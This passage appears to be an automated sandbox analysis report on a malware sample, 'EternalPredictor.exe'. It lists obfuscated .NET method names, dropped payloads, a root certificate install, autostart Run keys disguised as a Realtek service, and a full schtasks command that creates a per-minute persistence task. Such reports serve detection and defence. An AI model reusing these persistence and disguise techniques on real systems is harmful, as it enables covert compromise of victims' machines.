'fPrS3IoE8AU3qNIg9y0bwAv5b2OwoCgc90vr3Dv9sCQsynP59RPumSLyr7wt2Q86BBiUuUlWpbuS75vgr', '_1bidLvfGyo8kT6sraMlH8OWiBDlbh3JTvPbdsjQ5ks4b8uEikoXH93LqXuA3XXmZXSrsBs1I2EenFSSKB'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, 07Cdq7Slaf2T0jZczBuwyUXHac.cs	High entropy of concatenated method names: 'aNTMw6Lu16q3XeWHR1sR3PMWSc', '_85n0wGBYXzEAGGt4l8PGE0RDXu', 'CTQ4WASzc8s72DCU4qjXS0CXRl', 'Pc3Yhm8jNS8GFjGCj9zEGX6vS0', '_4SJw3T4IWGV1RB84xPDOcTwCH0BWzCDx7Cv9O75zcJBpdLzVGT2sJz', 'V7c4x1ZactwY6IDS1gx8EozmV7NQKodI3NEVUIzH9cdwub65IquqG5', 'tSoF4ErRLVczkRNY4oAHQYpg18er1hxx2JuiJvKNPus0RjONzUM9Ty', 'cReP19Usgw2ijL8SFqsFgwdEKNtvIYJq2VudLBTLJe7lL7ul2XGIKU', 'KrU1gipWTZPHUOXxkvD6LuPOmDsvj4AojcsA06vZMleEQghmaWD9sW15aZKDoJY72JOLWqRzXCo68c64eXudEf', 'w2J7OZ6KgMoKAlYfNB0Zamm0AZZpzVfIOcLbbErEWdfgG9fasIJXDTSSjeekkiQQ54pP4m3ld4E0FbrPz2HFkh'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, fHfgyTqtDDXlgFY83FcOCVN0lmCsgZzHJUE3KRMC6.cs	High entropy of concatenated method names: 'eZmacRaUJwyo2V4YVB3fpVPcLirYMs9NgnkwDjFGp', 'd85CNq0UL5V9VHkpmg49vGPNv2eivxNFlfn6SA8Wa', 'aaPTnTrt8Ym4okXALJ8ARVYV41jgbEBIV1xhS5jpX', 'TipMraploFbtSJXkrL2wl7mQA2', '_8kYnfx2Lev1BuxUf3rf6rrRChf', 'YZm91ip80fd4eMng8qFrdBzNCg', 'IVWmqzIBjqA6oT2vjG5RkSmRor', 'Pr3QotefBmeLPnEJGZAv75JZ0Z', 'UxwYolw5crzg8rmsMOEamrwCXu', 'Sy558Qu3s6mdrFllG7ujEwVbsF'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	High entropy of concatenated method names: 'rczOseSIc2vnwuEKIR8PkcLmQa', '_04nQsc5SubxMuXJO3AjPmX0xdl', 'hFjVWq8dAgGwLNBrQoIeKlZxVQ', 'HcqlO99QRe4SHd8BzMhTs7NGM5', 'l7FpTzsY57NomzQ8RfXN2HkWPh', 'PPwLymJlD5IyaA6OX8oJLKE2eo', 'j0lPXeA3krUBU4eIKwHZCHQo8t', 'JF3URgxYwq9OQvJS00u8hCO5H8vqmWwDRbmYItsSowCm6gCXAbEsZZZmIQL', 'nwctXyVSHKGY5OLwe9fqeakonwIxFSDgOXORZzO0z6k9imOZ8ltZE3IN43d', 'yRMsRhBMjHLebAC07aypKk8Xvd0Fr7wd5MRrNJbh59gRGeUCPCNh0DRN0FX'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, pwLyC8IGS9fWPw8AOOpq13VTDw.cs	High entropy of concatenated method names: 'q75ROLrqqHV6EmJDp91TOI4VmT', 'ZtBBrD6v9t5iKcxfvJFaw3H4IuoDdY5nuT9puJXpLcjL76IDfgCpHRRBmpJVtKBkLCrPDQOodEZjpRwSz7URN3', 'vfjRU45nEBY3auUaODMgdMoHtc4K9VQz4xOTtGT5Rs8N0nXwNGPIEGNdyM7MGhG3uPvvrFFxSVofALVPdeAZNJ', 'icSHmmvwaVgso4j8Hv3S4II3minVb10MWs5SQ63NpOLDYpHqrGopkznqOvYHFNLP1M4QnYgENy3C06mTgfD2bh', 'dpGjJ3p87EOacCY2vM0V24nVRlbrIREh0oXDjE2lWXatKNNzmuZcRV5SWjWaJ4VPQdH04vzaLiesjPJ7syopT7'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, YQhejhVgT0ttgMOLyMJxgFpqD9cch4ZRZCw8NY2M6T1GDPhoPLEM2UjD1FgvZhc5VommPhvhtQvJWFL27.cs	High entropy of concatenated method names: 'v2ZikujqPLr1n6uIoVRgCl1pTavRWrBtjGZIRMgHAOgEZQHb0xl2UCVnjLOjvu4tr2gJgE8b2IxKZqqDE', 'Te60wYfmJ74mvSBCHY9Q1NYDhkeXswsJzyOxyUzGodjeG1TZQE5uz4gUMoPwHqZv0IL8rkrclqK6sLhXa', 'lOttlYb7JhxgqWLTIpZwgApjN4IiY5lALQP1k3zDtevLeLQ0arZpIFqdSuNqZ8CtJBvaQamVZPkdJjEK1', 'HklCUKPtoD7xqi5SydpzGBxTnIL1tsIxMdr9pI26Q8FfUeLJE80eMifz2MCiXpMquyZr2BP9gg7FY6Swm', 'mBYQhshBfowyxxw0DF', 'v0fl2bSQlrkwGParpN', '_0oISgafl1pHFtQOk9c', 'VFkzUzAnj429d1yALh', 'cKM0CQlApexIk8yDHx', 'wHzUyYnhv4EPtZktOH'
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	High entropy of concatenated method names: 'rWgDNtD9XClx2ePX1ClUNtaUKXAVpqLIPamcaShgPjX2GXhFnNddcug1dnCUVYeOGwlDB6awhp2LkVuNJqgnwhfzwZjoQTdYyJG', 'o4DruXGjL07o2HIFSRdU1PNswHXNNiP4YoTvKJjE1DPXeiunlYhlqIeliXadQH1QXJgcgn6jIzq13184TVW4yyI4fojGlGN86m3', '_15xvhav5CsVbhcaBatgprc9bhSzTJ2Uj711MIImyF1pfHIQjLdp07HnJ6Q9SOa16zKy7DsQpO2JWsPV7aDbHYdZ9PtIwNdYGFOd', 'ilP62xKpQqTx9U2gHfS6thNHObDbYplWekVrvTfo6xzmjbv8zdAIZrapg5YqVmvuy9ANsaQ0gu716iUEjF66cZiDs1qBN0Z8sFX', '_1L4pbsWDZhKfHZBBMpDwYw8KMuVu0BHVfRoCyfa35ApP31Z07D2DM4tFjH8jSVYQ9cOiCebiaAyTg20NpIeGtPKSRB8UwLiaqJT', '_0iQVfid5km9BaIMjdJ7jvr4wgk63gqvsqAq9Cv3kDD3NTRPAeUNHUqCLeRLZcYxPwS5AFnpc0guTCN7dVAqvD7i8KE5MAiBWpEC', 'F8JSf8qjcOEGjxHWRDmywmiPNV7vP3RrfeN2DwhBNngzTla9b4eZlM2atVYZ5NqxOn9LEJk8fYy3AAZa8cNBZf5CRMGD8l0dYIO', 'WWdZkn7NhLGtutIFzAPRtfYm50evObQXhtDpar21v', 'twLqMQQuRzHiNTomU0HgBk9BDJiIXnidwc25S9R7S', 'jYqvBynZ9drCFVMYmQPpIj8VpTcr4G6PjM7ybOXXz'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, PNTkHhRdRADo9Htu8dbFVLGTwqCu2qbzjYH5zYlur5KxgSz1jQZuw8evWYvsSGwZnSHAYTXqL6hUBfvaIp2CoAMx26V.cs	High entropy of concatenated method names: '_0c5osAYdBH9XJ94w4zO6l972AlhrdGad0hqnAFgCFDwSXcziYUz2q1XXqL3Zde5p35YLYKckiT7zmCnBswlBhvyUlKO', 'zTL2B64wg2rWQWqASrnYspHnl0Z1Aumla4SUxs4D64pQI2WON1JnzP1oGkeyMwLMnb0f8QieLG4h', 'rkr0zO6T26LPtwV3U9c2u5xYBuctzMPqkJXb8TIBxlUKlPIg8rAaiHfjLP71Hzw255mMcNkH7LQq', 'Btv4maALwmARX', 'HJNgJkbLwyzIr', 'EHT5RPoBsAnvY', 'U5FhaAIW2Nj2K', '_7zTNkjNQ0QD3c', 'hQgK5oM9YmxrQ', 'LnSuQAe3DhXZ2'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, ehFF3g5JMWmvPBY7f8PHXvmxPU1QBWGhSW9HZi8z2cL2PB9AU.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'Ea65l0P6VLiuAGdcSTuvjZVcwJgbGY1253l4vMwdSVADH492dX4PnHlSS35V2YM5c6dN3ZqKdkec', 'kOmiM1AbuLNjuLBf89wLzzjhN1Q3cqGGQEB6xJwPBYbBFOr4CSGH78YstQzx2itJcGbuOsGxLZKK', 'xGK7vCJFSYRW1gcvS6EUjMnJRR8OBcSkO5EdL9avx0j551WfeEgaTLxv1eSH4wQTZWjFIcRo4bUj', 'ERiYjJBn6pFxsGNYLGgy8QzMDp73EOBHgudvczYH3MSATieVEHc6hvYTbAy3glIC6sE2LzEEvOMf'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, ZTVYtJFrmsQJQ9ljOwNBcyaFo9DitMyOY4oipU4ny.cs	High entropy of concatenated method names: 'NoCle4xZmufxswDeh5fhpTUgoSAb5eavmQrRgKskO', 'zZWCPg3bEKG534TZwNRhlqsIneV7P6FWDiwU', '_2yRRy4y5sBKarxi31GYBsSZgy2BbH10JSslb', 'f9J0BO2UoDn7uyJSkFmSMqD2U0CLAbQJIjKF', 'jF9RGodWK3s5qoVwiawclr9bGbBnIk6BZnQH'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	High entropy of concatenated method names: 'k06g0iCbZCrfysspSRMUJhlvYv79m1SSzswTsLBuX8Uz3rCOToqYxOxgf2zC01crRWspIvgXQ8oEiE7TM', '_7zpgzbS6PiDyDJENNtstPc6AcDWETdl9qa8VBBfjip0JV0wNKaiUYqCSDNhWBNrFA2q5hZsTYIrwXV9eo', 'efanD038HcFIAEn81JcePjTZcmuYEb18URcxTmSvOhAn2vjbQL2CvMLKx5U8ELzWTMGmNEUgxjPFbQEUH', 'S6TBniyDwO1QE4SgIJD32eq9ggNzFjSC7eVHzx0pqJHhS5zDr1NKfdFiZ950zBN5SCgKu9PCd5pNKgRd4', '_5NB66cSsdfZl1wYpuBTFxnfbtIFkKthngYBP7aJYPI8h0KaVs8ob5oRSiwXQ0WpBTp3oQYyd9hCBeebIi', '_8auKXwrMjrWK6GETcQFbdg3Vp79uUUIPDb9Sy4WFo66QIUaj0mFhsh0uP1EDWfjJPZhOohG04ClP6EwKU', 'eZLULBsWHjkkBfq6UUkYqvjdfep7gP0Jsax6nfq8yPBu0kvptOtgeoAB89ekjARl0orRbLzx8vIrJJNzz', 'Uqe2k6rcLSu5PX1j4tOqUiz3AsHedfpnumnQKYbU0ZFOajGepCrXgVlcsAJjGLiJ3YS24bwh0hfa1TXHx', 'fPrS3IoE8AU3qNIg9y0bwAv5b2OwoCgc90vr3Dv9sCQsynP59RPumSLyr7wt2Q86BBiUuUlWpbuS75vgr', '_1bidLvfGyo8kT6sraMlH8OWiBDlbh3JTvPbdsjQ5ks4b8uEikoXH93LqXuA3XXmZXSrsBs1I2EenFSSKB'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, 07Cdq7Slaf2T0jZczBuwyUXHac.cs	High entropy of concatenated method names: 'aNTMw6Lu16q3XeWHR1sR3PMWSc', '_85n0wGBYXzEAGGt4l8PGE0RDXu', 'CTQ4WASzc8s72DCU4qjXS0CXRl', 'Pc3Yhm8jNS8GFjGCj9zEGX6vS0', '_4SJw3T4IWGV1RB84xPDOcTwCH0BWzCDx7Cv9O75zcJBpdLzVGT2sJz', 'V7c4x1ZactwY6IDS1gx8EozmV7NQKodI3NEVUIzH9cdwub65IquqG5', 'tSoF4ErRLVczkRNY4oAHQYpg18er1hxx2JuiJvKNPus0RjONzUM9Ty', 'cReP19Usgw2ijL8SFqsFgwdEKNtvIYJq2VudLBTLJe7lL7ul2XGIKU', 'KrU1gipWTZPHUOXxkvD6LuPOmDsvj4AojcsA06vZMleEQghmaWD9sW15aZKDoJY72JOLWqRzXCo68c64eXudEf', 'w2J7OZ6KgMoKAlYfNB0Zamm0AZZpzVfIOcLbbErEWdfgG9fasIJXDTSSjeekkiQQ54pP4m3ld4E0FbrPz2HFkh'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, fHfgyTqtDDXlgFY83FcOCVN0lmCsgZzHJUE3KRMC6.cs	High entropy of concatenated method names: 'eZmacRaUJwyo2V4YVB3fpVPcLirYMs9NgnkwDjFGp', 'd85CNq0UL5V9VHkpmg49vGPNv2eivxNFlfn6SA8Wa', 'aaPTnTrt8Ym4okXALJ8ARVYV41jgbEBIV1xhS5jpX', 'TipMraploFbtSJXkrL2wl7mQA2', '_8kYnfx2Lev1BuxUf3rf6rrRChf', 'YZm91ip80fd4eMng8qFrdBzNCg', 'IVWmqzIBjqA6oT2vjG5RkSmRor', 'Pr3QotefBmeLPnEJGZAv75JZ0Z', 'UxwYolw5crzg8rmsMOEamrwCXu', 'Sy558Qu3s6mdrFllG7ujEwVbsF'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, z7GL3GcSz0bU9xxBylPHvbaUX8.cs	High entropy of concatenated method names: 'rczOseSIc2vnwuEKIR8PkcLmQa', '_04nQsc5SubxMuXJO3AjPmX0xdl', 'hFjVWq8dAgGwLNBrQoIeKlZxVQ', 'HcqlO99QRe4SHd8BzMhTs7NGM5', 'l7FpTzsY57NomzQ8RfXN2HkWPh', 'PPwLymJlD5IyaA6OX8oJLKE2eo', 'j0lPXeA3krUBU4eIKwHZCHQo8t', 'JF3URgxYwq9OQvJS00u8hCO5H8vqmWwDRbmYItsSowCm6gCXAbEsZZZmIQL', 'nwctXyVSHKGY5OLwe9fqeakonwIxFSDgOXORZzO0z6k9imOZ8ltZE3IN43d', 'yRMsRhBMjHLebAC07aypKk8Xvd0Fr7wd5MRrNJbh59gRGeUCPCNh0DRN0FX'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, pwLyC8IGS9fWPw8AOOpq13VTDw.cs	High entropy of concatenated method names: 'q75ROLrqqHV6EmJDp91TOI4VmT', 'ZtBBrD6v9t5iKcxfvJFaw3H4IuoDdY5nuT9puJXpLcjL76IDfgCpHRRBmpJVtKBkLCrPDQOodEZjpRwSz7URN3', 'vfjRU45nEBY3auUaODMgdMoHtc4K9VQz4xOTtGT5Rs8N0nXwNGPIEGNdyM7MGhG3uPvvrFFxSVofALVPdeAZNJ', 'icSHmmvwaVgso4j8Hv3S4II3minVb10MWs5SQ63NpOLDYpHqrGopkznqOvYHFNLP1M4QnYgENy3C06mTgfD2bh', 'dpGjJ3p87EOacCY2vM0V24nVRlbrIREh0oXDjE2lWXatKNNzmuZcRV5SWjWaJ4VPQdH04vzaLiesjPJ7syopT7'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, YQhejhVgT0ttgMOLyMJxgFpqD9cch4ZRZCw8NY2M6T1GDPhoPLEM2UjD1FgvZhc5VommPhvhtQvJWFL27.cs	High entropy of concatenated method names: 'v2ZikujqPLr1n6uIoVRgCl1pTavRWrBtjGZIRMgHAOgEZQHb0xl2UCVnjLOjvu4tr2gJgE8b2IxKZqqDE', 'Te60wYfmJ74mvSBCHY9Q1NYDhkeXswsJzyOxyUzGodjeG1TZQE5uz4gUMoPwHqZv0IL8rkrclqK6sLhXa', 'lOttlYb7JhxgqWLTIpZwgApjN4IiY5lALQP1k3zDtevLeLQ0arZpIFqdSuNqZ8CtJBvaQamVZPkdJjEK1', 'HklCUKPtoD7xqi5SydpzGBxTnIL1tsIxMdr9pI26Q8FfUeLJE80eMifz2MCiXpMquyZr2BP9gg7FY6Swm', 'mBYQhshBfowyxxw0DF', 'v0fl2bSQlrkwGParpN', '_0oISgafl1pHFtQOk9c', 'VFkzUzAnj429d1yALh', 'cKM0CQlApexIk8yDHx', 'wHzUyYnhv4EPtZktOH'
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, iQddWXbGwScqaHBkFEbMdof0OJRNz6u4WQnCKQbCS74w3fx02XLpJaDmKNJJPrSVG2hzVLqa8pl1ZFhxjBtSfLKqOzinxt5zUPR.cs	High entropy of concatenated method names: 'rWgDNtD9XClx2ePX1ClUNtaUKXAVpqLIPamcaShgPjX2GXhFnNddcug1dnCUVYeOGwlDB6awhp2LkVuNJqgnwhfzwZjoQTdYyJG', 'o4DruXGjL07o2HIFSRdU1PNswHXNNiP4YoTvKJjE1DPXeiunlYhlqIeliXadQH1QXJgcgn6jIzq13184TVW4yyI4fojGlGN86m3', '_15xvhav5CsVbhcaBatgprc9bhSzTJ2Uj711MIImyF1pfHIQjLdp07HnJ6Q9SOa16zKy7DsQpO2JWsPV7aDbHYdZ9PtIwNdYGFOd', 'ilP62xKpQqTx9U2gHfS6thNHObDbYplWekVrvTfo6xzmjbv8zdAIZrapg5YqVmvuy9ANsaQ0gu716iUEjF66cZiDs1qBN0Z8sFX', '_1L4pbsWDZhKfHZBBMpDwYw8KMuVu0BHVfRoCyfa35ApP31Z07D2DM4tFjH8jSVYQ9cOiCebiaAyTg20NpIeGtPKSRB8UwLiaqJT', '_0iQVfid5km9BaIMjdJ7jvr4wgk63gqvsqAq9Cv3kDD3NTRPAeUNHUqCLeRLZcYxPwS5AFnpc0guTCN7dVAqvD7i8KE5MAiBWpEC', 'F8JSf8qjcOEGjxHWRDmywmiPNV7vP3RrfeN2DwhBNngzTla9b4eZlM2atVYZ5NqxOn9LEJk8fYy3AAZa8cNBZf5CRMGD8l0dYIO', 'WWdZkn7NhLGtutIFzAPRtfYm50evObQXhtDpar21v', 'twLqMQQuRzHiNTomU0HgBk9BDJiIXnidwc25S9R7S', 'jYqvBynZ9drCFVMYmQPpIj8VpTcr4G6PjM7ybOXXz'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\AppData\Roaming\skuld.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\skuld.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\EternalPredictor.exe	File created: C:\Users\user\AppData\Roaming\skuld.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\eternal.exe	File created: C:\Users\user\AppData\Roaming\XClient.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EternalPredictor.exe	File created: C:\Users\user\AppData\Roaming\program.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\EternalPredictor.exe	File created: C:\Users\user\AppData\Roaming\eternal.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI44642\_ssl.pyd	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Roaming\skuld.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Realtek HD Audio Universal Service			Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XClient			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\eternal.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"

Source: C:\Users\user\AppData\Roaming\eternal.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Jump to behavior

Source: C:\Users\user\AppData\Roaming\skuld.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\partmgr

Jump to behavior

Source: C:\Users\user\AppData\Roaming\eternal.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk			Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr			Jump to behavior

Source: C:\Users\user\AppData\Roaming\eternal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XClient	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XClient	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Realtek HD Audio Universal Service	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Realtek HD Audio Universal Service	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 5_2_00007FF72C6576C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

5_2_00007FF72C6576C0

Source: C:\Users\user\AppData\Roaming\skuld.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Users\user\AppData\Roaming\skuld.exe

